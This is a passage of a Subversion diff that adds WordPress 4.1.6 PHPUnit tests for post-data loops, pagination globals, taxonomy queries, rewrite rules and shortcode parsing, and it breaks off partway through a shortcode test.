+		$this->assertEquals( get_userdata( $users[0] ), $GLOBALS['authordata'] );
+		$this->assertSame( '02.02.12', $GLOBALS['currentday'] );
+		$this->assertSame( '02', $GLOBALS['currentmonth'] );
+
+		// Secondary loop.
+		$q = new WP_Query( array(
+			'posts_per_page' => 1,
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+
+				// Should refer to the current loop.
+				$this->assertSame( $post2->ID, $GLOBALS['id'] );
+				$this->assertEquals( get_userdata( $users[1] ), $GLOBALS['authordata'] );
+				$this->assertSame( '03.03.13', $GLOBALS['currentday'] );
+				$this->assertSame( '03', $GLOBALS['currentmonth'] );
+			}
+		}
+		wp_reset_postdata();
+
+		// Should be reset to main loop.
+		$this->assertSame( $post1->ID, $GLOBALS['id'] );
+		$this->assertEquals( get_userdata( $users[0] ), $GLOBALS['authordata'] );
+		$this->assertSame( '02.02.12', $GLOBALS['currentday'] );
+		$this->assertSame( '02', $GLOBALS['currentmonth'] );
+	}
+
+	public function test_single_page() {
+		$post = $this->factory->post->create_and_get( array(
+			'post_content' => 'Page 0',
+		) );
+		setup_postdata( $post );
+
+		$this->assertSame( 0, $GLOBALS['multipage'] );
+		$this->assertSame( 1, $GLOBALS['numpages']  );
+		$this->assertEquals( array( 'Page 0' ), $GLOBALS['pages'] );
+	}
+
+	public function test_multi_page() {
+		$post = $this->factory->post->create_and_get( array(
+			'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3',
+		) );
+		setup_postdata( $post );
+
+		$this->assertSame( 1, $GLOBALS['multipage'] );
+		$this->assertSame( 4, $GLOBALS['numpages']  );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $GLOBALS['pages'] );
+	}
+
+	/**
+	 * @ticket 16746
+	 */
+	public function test_nextpage_at_start_of_content() {
+		$post = $this->factory->post->create_and_get( array(
+			'post_content' => '<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3',
+		) );
+		setup_postdata( $post );
+
+		$this->assertSame( 1, $GLOBALS['multipage'] );
+		$this->assertSame( 3, $GLOBALS['numpages'] );
+		$this->assertEquals( array( 'Page 1', 'Page 2', 'Page 3' ), $GLOBALS['pages'] );
+	}
+
+	public function test_trim_nextpage_linebreaks() {
+		$post = $this->factory->post->create_and_get( array(
+			'post_content' => "Page 0\n<!--nextpage-->\nPage 1\nhas a line break\n<!--nextpage-->Page 2<!--nextpage-->\n\nPage 3",
+		) );
+		setup_postdata( $post );
+
+		$this->assertEquals( array( 'Page 0', "Page 1\nhas a line break", 'Page 2', "\nPage 3" ), $GLOBALS['pages'] );
+	}
+
+	/**
+	 * @ticket 25349
+	 */
+	public function test_secondary_query_nextpage() {
+		$post1 = $this->factory->post->create( array(
+			'post_content' => 'Post 1 Page 1<!--nextpage-->Post 1 Page 2',
+		) );
+		$post2 = $this->factory->post->create( array(
+			'post_content' => 'Post 2 Page 1<!--nextpage-->Post 2 Page 2',
+		) );
+
+		$this->go_to( '/?p=' . $post1 );
+		setup_postdata( get_post( $post1 ) );
+
+		// Main loop.
+		$this->assertSame( array( 'Post 1 Page 1', 'Post 1 Page 2' ), $GLOBALS['pages'] );
+
+		// Secondary loop.
+		$q = new WP_Query( array(
+			'post__in' => array( $post2 ),
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+
+				// Should refer to the current loop.
+				$this->assertSame( array( 'Post 2 Page 1', 'Post 2 Page 2' ), $GLOBALS['pages'] );
+			}
+		}
+		wp_reset_postdata();
+
+		// Should be reset to main loop.
+		$this->assertSame( array( 'Post 1 Page 1', 'Post 1 Page 2' ), $GLOBALS['pages'] );
+	}
+
+	public function test_page_from_wp_query() {
+		$page = $this->factory->post->create_and_get( array(
+			'post_type' => 'page',
+		) );
+
+		$this->go_to( '/?page=78' );
+
+		$GLOBALS['wp_query']->query_vars['page'] = 78;
+		setup_postdata( $page );
+
+		$this->assertSame( 78, $GLOBALS['page'] );
+	}
+
+	public function test_page_when_on_page() {
+		$page = $this->factory->post->create_and_get( array(
+			'post_type' => 'page',
+		) );
+		$this->go_to( get_permalink( $page ) );
+		setup_postdata( $page );
+
+		$this->assertSame( 1, $GLOBALS['page'] );
+	}
+
+	/**
+	 * @ticket 20904
+	 */
+	public function test_secondary_query_page() {
+		$post = $this->factory->post->create_and_get();
+		$this->go_to( '/?page=3' );
+		setup_postdata( $post );
+
+		// Main loop.
+		$this->assertSame( 3, $GLOBALS['page'] );
+
+		// Secondary loop.
+		$posts = $this->factory->post->create_many( 5 );
+		$q = new WP_Query( array(
+			'page' => 4,
+			'posts_per_page' => 1,
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+
+				// $page should refer to the current loop.
+				$this->assertSame( 4, $GLOBALS['page'] );
+			}
+		}
+		wp_reset_postdata();
+
+		// $page should be reset to main loop.
+		$this->assertSame( 3, $GLOBALS['page'] );
+	}
+
+	/**
+	 * @ticket 20904
+	 */
+	public function test_more_when_on_setup_post() {
+		$post = $this->factory->post->create_and_get();
+		$this->go_to( get_permalink( $post ) );
+		setup_postdata( $post );
+
+		$this->assertSame( 1, $GLOBALS['more'] );
+	}
+
+	/**
+	 * @ticket 20904
+	 *
+	 * $more should not be true when the set-up post is not the same as the current post.
+	 */
+	public function test_more_when_on_single() {
+		$post1 = $this->factory->post->create_and_get();
+		$post2 = $this->factory->post->create_and_get();
+		$this->go_to( get_permalink( $post1 ) );
+		setup_postdata( $post2 );
+
+		$this->assertTrue( empty( $GLOBALS['more'] ) );
+	}
+
+	/**
+	 * @ticket 20904
+	 *
+	 * $more should not be true when the set-up post is not the same as the current page.
+	 */
+	public function test_more_when_on_page() {
+		$post = $this->factory->post->create_and_get();
+		$page = $this->factory->post->create_and_get( array(
+			'post_type' => 'page',
+		) );
+		$this->go_to( get_permalink( $page ) );
+		setup_postdata( $post );
+
+		$this->assertTrue( empty( $GLOBALS['more'] ) );
+	}
+
+	/**
+	 * @ticket 20904
+	 */
+	public function test_more_when_on_feed() {
+		$post = $this->factory->post->create_and_get();
+		$this->go_to( '/?feed=rss' );
+		setup_postdata( $post );
+
+		$this->assertSame( 1, $GLOBALS['more'] );
+	}
+
+	/**
+	 * @ticket 20904
+	 * @ticket 25349
+	 */
+	public function test_secondary_query_more() {
+		$post = $this->factory->post->create_and_get();
+		$this->go_to( get_permalink( $post ) );
+		setup_postdata( $post );
+
+		// Main loop.
+		$this->assertSame( 1, $GLOBALS['more'] );
+
+		// Secondary loop.
+		$q = new WP_Query( array(
+			'posts_per_page' => 1,
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+
+				// $more should refer to the current loop.
+				$this->assertTrue( empty( $GLOBALS['more'] ) );
+			}
+		}
+		wp_reset_postdata();
+
+		// $page should be reset to main loop.
+		$this->assertSame( 1, $GLOBALS['more'] );
+	}
+
+	/**
+	 * @ticket 24330
+	 *
+	 * setup_postdata( $a_post ) followed by the_content() in a loop that does not update
+	 * global $post should use the content of $a_post rather then the global post.
+	 */
+	function test_setup_postdata_loop() {
+		$post_id = $this->factory->post->create( array( 'post_content' => 'global post' ) );
+		$GLOBALS['wp_query']->post = $GLOBALS['post'] = get_post( $post_id );
+
+		$ids = $this->factory->post->create_many(5);
+		foreach ( $ids as $id ) {
+			$page = get_post( $id );
+			if ( $page ) {
+				setup_postdata( $page );
+				$content = get_echo( 'the_content', array() );
+				$this->assertEquals( $post_id, $GLOBALS['post']->ID );
+				$this->assertNotEquals( '<p>global post</p>', strip_ws( $content ) );
+				wp_reset_postdata();
+			}
+		}
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/taxQuery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/taxQuery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/taxQuery.php	(revision 33402)
@@ -0,0 +1,282 @@
+<?php
+
+/**
+ * Test the is_*() functions in query.php across the URL structure
+ *
+ * This exercises both query.php and rewrite.php: urls are fed through the rewrite code,
+ * then we test the effects of each url on the wp_query object.
+ *
+ * @group query
+ * @group rewrite
+ */
+class Tests_Query_TaxQuery extends WP_UnitTestCase {
+	protected $tag_id;
+	protected $cat_id;
+	protected $tax_id;
+	protected $tax_id2;
+	protected $post_id;
+
+	protected $cat;
+	protected $uncat;
+	protected $tag;
+	protected $tax;
+
+	function setUp() {
+		global $wp_rewrite;
+		parent::setUp();
+
+		set_current_screen( 'front' );
+
+		$GLOBALS['wp_the_query'] = new WP_Query();
+		$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		create_initial_taxonomies();
+		register_taxonomy( 'testtax', 'post', array( 'public' => true ) );
+
+		$wp_rewrite->flush_rules();
+
+		$this->tag_id = $this->factory->tag->create( array( 'slug' => 'tag-slug' ) );
+		$this->cat_id = $this->factory->category->create( array( 'slug' => 'cat-slug' ) );
+		$this->tax_id = $this->factory->term->create( array( 'taxonomy' => 'testtax', 'slug' => 'tax-slug' ) );
+		$this->tax_id2 = $this->factory->term->create( array( 'taxonomy' => 'testtax', 'slug' => 'tax-slug2' ) );
+		$this->post_id = $this->factory->post->create();
+		wp_set_object_terms( $this->post_id, $this->cat_id, 'category' );
+		wp_set_object_terms( $this->post_id, array( $this->tax_id, $this->tax_id2 ), 'testtax' );
+
+		$this->cat = get_term( $this->cat_id, 'category' );
+		_make_cat_compat( $this->cat );
+		$this->tag = get_term( $this->tag_id, 'post_tag' );
+
+		$this->uncat = get_term_by( 'slug', 'uncategorized', 'category' );
+		_make_cat_compat( $this->uncat );
+
+		add_action( 'pre_get_posts', array( $this, 'pre_get_posts_tax_category_tax_query' ) );
+	}
+
+	function tearDown() {
+		global $wp_rewrite;
+		parent::tearDown();
+
+		_unregister_taxonomy( 'testtax' );
+
+		$wp_rewrite->init();
+
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_tax_category_tax_query' ) );
+	}
+
+	function test_tag_action_tax() {
+		// tag with tax added
+		$this->go_to( home_url( "/tag/tag-slug/" ) );
+		$this->assertQueryTrue( 'is_tag', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertNotEmpty( get_query_var( 'tag_id' ) );
+		$this->assertEquals( get_queried_object(), $this->tag );
+	}
+
+	function test_tag_query_cat_action_tax() {
+		// tag + category with tax added
+		$this->go_to( home_url( "/tag/tag-slug/?cat=$this->cat_id" ) );
+		$this->assertQueryTrue( 'is_category', 'is_tag', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertNotEmpty( get_query_var( 'cat' ) );
+		$this->assertNotEmpty( get_query_var( 'tag_id' ) );
+		$this->assertEquals( get_queried_object(), $this->cat );
+	}
+
+	function test_tag_query_cat_query_tax_action_tax() {
+		// tag + category + tax with tax added
+		$this->go_to( home_url( "/tag/tag-slug/?cat=$this->cat_id&testtax=tax-slug2" ) );
+		$this->assertQueryTrue( 'is_category', 'is_tag', 'is_tax', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertNotEmpty( get_query_var( 'cat' ) );
+		$this->assertNotEmpty( get_query_var( 'tag_id' ) );
+		$this->assertNotEmpty( get_query_var( 'testtax' ) );
+		$this->assertEquals( get_queried_object(), $this->cat );
+	}
+
+	function test_cat_action_tax() {
+		// category with tax added
+		$this->go_to( home_url( "/category/cat-slug/" ) );
+		$this->assertQueryTrue( 'is_category', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'cat' ) );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertEquals( get_queried_object(), $this->cat );
+	}
+
+	/**
+	 * @ticket 26627
+	 */
+	function test_cat_uncat_action_tax() {
+		// category with tax added
+		add_action( 'pre_get_posts', array( $this, '_cat_uncat_action_tax' ), 11 );
+
+		$this->go_to( home_url( "/category/uncategorized/" ) );
+		$this->assertQueryTrue( 'is_category', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'cat' ) );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertEquals( get_queried_object(), $this->uncat );
+
+		remove_action( 'pre_get_posts', array( $this, '_cat_uncat_action_tax' ), 11 );
+	}
+
+	function _cat_uncat_action_tax( &$query ) {
+		$this->assertTrue( $query->is_category() );
+		$this->assertTrue( $query->is_archive() );
+		$this->assertNotEmpty( $query->get( 'category_name' ) );
+		$this->assertNotEmpty( $query->get( 'tax_query' ) );
+		$this->assertEquals( $query->get_queried_object(), $this->uncat );
+	}
+
+	/**
+	 * @ticket 26728
+	 */
+	function test_tax_action_tax() {
+		// tax with tax added
+		$this->go_to( home_url( '/testtax/tax-slug2/' ) );
+		$this->assertQueryTrue( 'is_tax', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertEquals( get_queried_object(), get_term( $this->tax_id, 'testtax' ) );
+	}
+
+	function test_tax_query_tag_action_tax() {
+		// tax + tag with tax added
+		$this->go_to( home_url( "/testtax/tax-slug2/?tag_id=$this->tag_id" ) );
+		$this->assertQueryTrue( 'is_tag', 'is_tax', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertNotEmpty( get_query_var( 'tag_id' ) );
+		$this->assertEquals( get_queried_object(), $this->tag );
+	}
+
+	function test_tax_query_cat_action_tax() {
+		// tax + cat with tax added
+		$this->go_to( home_url( "/testtax/tax-slug2/?cat=$this->cat_id" ) );
+		$this->assertQueryTrue( 'is_category', 'is_tax', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tax_query' ) );
+		$this->assertNotEmpty( get_query_var( 'taxonomy' ) );
+		$this->assertNotEmpty( get_query_var( 'term_id' ) );
+		$this->assertNotEmpty( get_query_var( 'cat' ) );
+		$this->assertEquals( get_queried_object(), $this->cat );
+	}
+
+	function pre_get_posts_tax_category_tax_query( &$query ) {
+		$query->set( 'tax_query', array(
+			array( 'taxonomy' => 'testtax', 'field' => 'term_id', 'terms' => $this->tax_id )
+		) );
+	}
+
+	/**
+	 * @group 30623
+	 */
+	public function test_get_queried_object_with_custom_taxonomy_tax_query_and_field_term_id_should_return_term_object() {
+		// Don't override the args provided below.
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_tax_category_tax_query' ) );
+
+		$args = array(
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'taxonomy' => 'testtax',
+					'field' => 'term_id',
+					'terms' => array(
+						$this->tax_id,
+					),
+				),
+			)
+		);
+
+		$q = new WP_Query( $args );
+		$object = $q->get_queried_object();
+
+		$expected = get_term( $this->tax_id, 'testtax' );
+
+		$this->assertEquals( $expected, $object );
+	}
+
+	/**
+	 * @group 30623
+	 */
+	public function test_get_queried_object_with_custom_taxonomy_tax_query_and_field_slug_should_return_term_object() {
+		// Don't override the args provided below.
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_tax_category_tax_query' ) );
+
+		$args = array(
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'taxonomy' => 'testtax',
+					'field' => 'slug',
+					'terms' => array(
+						'tax-slug',
+					),
+				),
+			)
+		);
+
+		$q = new WP_Query( $args );
+		$object = $q->get_queried_object();
+
+		$expected = get_term( $this->tax_id, 'testtax' );
+
+		// Only compare term_id because object_id may or may not be part of either value.
+		$this->assertEquals( $expected->term_id, $object->term_id );
+	}
+
+	/**
+	 * @group 30623
+	 */
+	public function test_get_queried_object_with_custom_taxonomy_tax_query_with_multiple_clauses_should_return_term_object_corresponding_to_the_first_queried_tax() {
+		// Don't override the args provided below.
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_tax_category_tax_query' ) );
+
+		register_taxonomy( 'testtax2', 'post' );
+		$testtax2_term_id = $this->factory->term->create( array(
+			'taxonomy' => 'testtax2',
+			'slug' => 'testtax2-slug',
+		) );
+
+		$args = array(
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'taxonomy' => 'testtax',
+					'field' => 'slug',
+					'terms' => array(
+						'tax-slug',
+					),
+				),
+				array(
+					'taxonomy' => 'testtax2',
+					'field' => 'slug',
+					'terms' => array(
+						'testtax2-slug',
+					),
+				),
+			)
+		);
+
+		$q = new WP_Query( $args );
+		$object = $q->get_queried_object();
+
+		$expected = get_term( $this->tax_id, 'testtax' );
+
+		// Only compare term_id because object_id may or may not be part of either value.
+		$this->assertEquals( $expected->term_id, $object->term_id );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/verboseRewriteRules.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/verboseRewriteRules.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/verboseRewriteRules.php	(revision 33402)
@@ -0,0 +1,22 @@
+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/query.php';
+
+/**
+ * @group query
+ * @group rewrite
+ */
+class Tests_Query_VerbosePageRules extends Tests_Query_Conditionals {
+	function setUp() {
+		global $wp_rewrite;
+
+		parent::setUp();
+		
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '/%category%/%year%/%postname%/' );
+
+		create_initial_taxonomies();
+
+		$wp_rewrite->flush_rules();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/rewrite.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/rewrite.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/rewrite.php	(revision 33402)
@@ -0,0 +1,124 @@
+<?php
+
+/**
+ * A set of unit tests for functions in wp-includes/rewrite.php
+ *
+ * @group rewrite
+ */
+class Tests_Rewrite extends WP_UnitTestCase {
+
+	function setUp() {
+		global $wp_rewrite;
+		parent::setUp();
+
+		// Need rewrite rules in place to use url_to_postid
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		create_initial_taxonomies();
+
+		$wp_rewrite->flush_rules();
+	}
+
+	function tearDown() {
+		global $wp_rewrite;
+		$wp_rewrite->init();
+
+		parent::tearDown();
+	}
+
+	function test_url_to_postid() {
+
+		$id = $this->factory->post->create();
+		$this->assertEquals( $id, url_to_postid( get_permalink( $id ) ) );
+
+		$id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$this->assertEquals( $id, url_to_postid( get_permalink( $id ) ) );
+	}
+
+	function test_url_to_postid_custom_post_type() {
+		delete_option( 'rewrite_rules' );
+
+		$post_type = rand_str( 12 );
+		register_post_type( $post_type, array( 'public' => true ) );
+
+		$id = $this->factory->post->create( array( 'post_type' => $post_type ) );
+		$this->assertEquals( $id, url_to_postid( get_permalink( $id ) ) );
+
+		_unregister_post_type( $post_type );
+	}
+
+	function test_url_to_postid_hierarchical() {
+
+		$parent_id = $this->factory->post->create( array( 'post_title' => 'Parent', 'post_type' => 'page' ) );
+		$child_id = $this->factory->post->create( array( 'post_title' => 'Child', 'post_type' => 'page', 'post_parent' => $parent_id ) );
+
+		$this->assertEquals( $parent_id, url_to_postid( get_permalink( $parent_id ) ) );
+		$this->assertEquals( $child_id, url_to_postid( get_permalink( $child_id ) ) );
+	}
+
+	function test_url_to_postid_home_has_path() {
+
+		update_option( 'home', home_url( '/example/' ) );
+
+		$id = $this->factory->post->create( array( 'post_title' => 'Hi', 'post_type' => 'page', 'post_name' => 'examp' ) );
+		$this->assertEquals( $id, url_to_postid( get_permalink( $id ) ) );
+		$this->assertEquals( $id, url_to_postid( site_url('/example/examp' ) ) );
+		$this->assertEquals( $id, url_to_postid( '/example/examp/' ) );
+		$this->assertEquals( $id, url_to_postid( '/example/examp' ) );
+
+		$this->assertEquals( 0, url_to_postid( site_url( '/example/ex' ) ) );
+		$this->assertEquals( 0, url_to_postid( '/example/ex' ) );
+		$this->assertEquals( 0, url_to_postid( '/example/ex/' ) );
+		$this->assertEquals( 0, url_to_postid( '/example-page/example/' ) );
+		$this->assertEquals( 0, url_to_postid( '/example-page/ex/' ) );
+	}
+
+	function test_url_to_postid_dupe_path() {
+		update_option( 'home', home_url('/example/') );
+
+		$id = $this->factory->post->create( array( 'post_title' => 'Hi', 'post_type' => 'page', 'post_name' => 'example' ) );
+
+		$this->assertEquals( $id, url_to_postid( get_permalink( $id ) ) );
+		$this->assertEquals( $id, url_to_postid( site_url( '/example/example/' ) ) );
+		$this->assertEquals( $id, url_to_postid( '/example/example/' ) );
+		$this->assertEquals( $id, url_to_postid( '/example/example' ) );
+	}
+
+	/**
+	 * Reveals bug introduced in WP 3.0
+	 */
+	function test_url_to_postid_home_url_collision() {
+		update_option( 'home', home_url( '/example' ) );
+
+		$this->factory->post->create( array( 'post_title' => 'Collision', 'post_type' => 'page', 'post_name' => 'collision' ) );
+
+		// This url should NOT return a post ID
+		$badurl = site_url( '/example-collision' );
+		$this->assertEquals( 0, url_to_postid( $badurl ) );
+	}
+
+	/**
+	 * Reveals bug introduced in WP 3.0
+	 *
+	 * Run tests using multisite `phpunit -c multisite`
+	 */
+	function test_url_to_postid_ms_home_url_collision() {
+
+		if ( ! is_multisite() ) {
+			$this->markTestSkipped( 'test_url_to_postid_ms_home_url_collision requires multisite' );
+			return false;
+		}
+
+		$blog_id = $this->factory->blog->create( array( 'path' => '/example' ) );
+		switch_to_blog( $blog_id );
+
+		$this->factory->post->create( array( 'post_title' => 'Collision ', 'post_type' => 'page' ) );
+
+		// This url should NOT return a post ID
+		$badurl = network_home_url( '/example-collision' );
+		$this->assertEquals( 0, url_to_postid( $badurl ) );
+
+		restore_current_blog();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/shortcode.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/shortcode.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/shortcode.php	(revision 33402)
@@ -0,0 +1,476 @@
+<?php
+/**
+ * @group shortcode
+ */
+class Tests_Shortcode extends WP_UnitTestCase {
+
+	protected $shortcodes = array( 'test-shortcode-tag', 'footag', 'bartag', 'baztag', 'dumptag', 'hyphen', 'hyphen-foo', 'hyphen-foo-bar' );
+
+	function setUp() {
+		parent::setUp();
+
+		foreach ( $this->shortcodes as $shortcode )
+			add_shortcode( $shortcode, array( $this, '_shortcode_' . str_replace( '-', '_', $shortcode ) ) );
+
+		$this->atts = null;
+		$this->content = null;
+		$this->tagname = null;
+
+	}
+
+	function tearDown() {
+		global $shortcode_tags;
+		foreach ( $this->shortcodes as $shortcode )
+			unset( $shortcode_tags[ $shortcode ] );
+		parent::tearDown();
+	}
+
+	function _shortcode_test_shortcode_tag( $atts, $content = null, $tagname = null ) {
+		$this->atts = $atts;
+		$this->content = $content;
+		$this->tagname = $tagname;
+		$this->filter_atts_out = null;
+		$this->filter_atts_pairs = null;
+		$this->filter_atts_atts = null;
+	}
+
+	// [footag foo="bar"]
+	function _shortcode_footag( $atts ) {
+		return @"foo = {$atts['foo']}";
+	}
+
+	// [bartag foo="bar"]
+	function _shortcode_bartag( $atts ) {
+		extract(shortcode_atts(array(
+			'foo' => 'no foo',
+			'baz' => 'default baz',
+		), $atts, 'bartag'));
+
+		return "foo = {$foo}";
+	}
+
+	// [baztag]content[/baztag]
+	function _shortcode_baztag( $atts, $content = '' ) {
+		return 'content = '.do_shortcode($content);
+	}
+
+	function _shortcode_dumptag( $atts ) {
+		$out = '';
+		foreach ($atts as $k=>$v)
+			$out .= "$k = $v\n";
+		return $out;
+	}
+
+	function _shortcode_hyphen() {
+		return __FUNCTION__;
+	}
+
+	function _shortcode_hyphen_foo() {
+		return __FUNCTION__;
+	}
+
+	function _shortcode_hyphen_foo_bar() {
+		return __FUNCTION__;
+	}
+
+	function test_noatts() {
+		do_shortcode('[test-shortcode-tag /]');
+		$this->assertEquals( '', $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_one_att() {
+		do_shortcode('[test-shortcode-tag foo="asdf" /]');
+		$this->assertEquals( array('foo' => 'asdf'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_not_a_tag() {
+		$out = do_shortcode('[not-a-shortcode-tag]');
+		$this->assertEquals( '[not-a-shortcode-tag]', $out );
+	}
+
+	/**
+	 * @ticket 17657
+	 */
+	function test_tag_hyphen_not_tag() {
+		$out = do_shortcode( '[dumptag-notreal]' );
+		$this->assertEquals( '[dumptag-notreal]', $out );
+	}
+
+	function test_tag_underscore_not_tag() {
+		$out = do_shortcode( '[dumptag_notreal]' );
+		$this->assertEquals( '[dumptag_notreal]', $out );
+	}
+
+	function test_tag_not_tag() {
+		$out = do_shortcode( '[dumptagnotreal]' );
+		$this->assertEquals( '[dumptagnotreal]', $out );
+	}
+
+	/**
+	 * @ticket 17657
+	 */
+	function test_tag_hyphen() {
+ 		$this->assertEquals( '_shortcode_hyphen', do_shortcode( '[hyphen]' ) );
+ 		$this->assertEquals( '_shortcode_hyphen_foo', do_shortcode( '[hyphen-foo]' ) );
+ 		$this->assertEquals( '_shortcode_hyphen_foo_bar', do_shortcode( '[hyphen-foo-bar]' ) );
+		$this->assertEquals( '[hyphen-baz]', do_shortcode( '[hyphen-baz]' ) );
+		$this->assertEquals( '[hyphen-foo-bar-baz]', do_shortcode( '[hyphen-foo-bar-baz]' ) );
+	}
+
+	function test_two_atts() {
+		do_shortcode('[test-shortcode-tag foo="asdf" bar="bing" /]');
+		$this->assertEquals( array('foo' => 'asdf', 'bar' => 'bing'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_noatts_enclosing() {
+		do_shortcode('[test-shortcode-tag]content[/test-shortcode-tag]');
+		$this->assertEquals( '', $this->atts );
+		$this->assertEquals( 'content', $this->content );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_one_att_enclosing() {
+		do_shortcode('[test-shortcode-tag foo="bar"]content[/test-shortcode-tag]');
+		$this->assertEquals( array('foo' => 'bar'), $this->atts );
+		$this->assertEquals( 'content', $this->content );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_two_atts_enclosing() {
+		do_shortcode('[test-shortcode-tag foo="bar" baz="bing"]content[/test-shortcode-tag]');
+		$this->assertEquals( array('foo' => 'bar', 'baz' => 'bing'), $this->atts );
+		$this->assertEquals( 'content', $this->content );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_unclosed() {
+		$out = do_shortcode('[test-shortcode-tag]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( '', $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_positional_atts_num() {
+		$out = do_shortcode('[test-shortcode-tag 123]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( array(0=>'123'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_positional_atts_url() {
+		$out = do_shortcode('[test-shortcode-tag http://www.youtube.com/watch?v=eBGIQ7ZuuiU]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( array(0=>'http://www.youtube.com/watch?v=eBGIQ7ZuuiU'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_positional_atts_quotes() {
+		$out = do_shortcode('[test-shortcode-tag "something in quotes" "something else"]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( array(0=>'something in quotes', 1=>'something else'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_positional_atts_mixed() {
+		$out = do_shortcode('[test-shortcode-tag 123 http://wordpress.com/ 0 "foo" bar]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( array(0=>'123', 1=>'http://wordpress.com/', 2=>'0', 3=>'foo', 4=>'bar'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_positional_and_named_atts() {
+		$out = do_shortcode('[test-shortcode-tag 123 url=http://wordpress.com/ foo bar="baz"]');
+		$this->assertEquals( '', $out );
+		$this->assertEquals( array(0=>'123', 'url' => 'http://wordpress.com/', 1=>'foo', 'bar' => 'baz'), $this->atts );
+		$this->assertEquals( 'test-shortcode-tag', $this->tagname );
+	}
+
+	function test_footag_default() {
+		$out = do_shortcode('[footag]');
+		$this->assertEquals('foo = ', $out);
+	}
+
+	function test_footag_val() {
+		$val = rand_str();
+		$out = do_shortcode('[footag foo="'.$val.'"]');
+		$this->assertEquals('foo = '.$val, $out);
+	}
+
+	function test_nested_tags() {
+		$out = do_shortcode('[baztag][dumptag abc="foo" def=123 http://wordpress.com/][/baztag]');
+		$expected = "content = abc = foo\ndef = 123\n0 = http://wordpress.com\n";
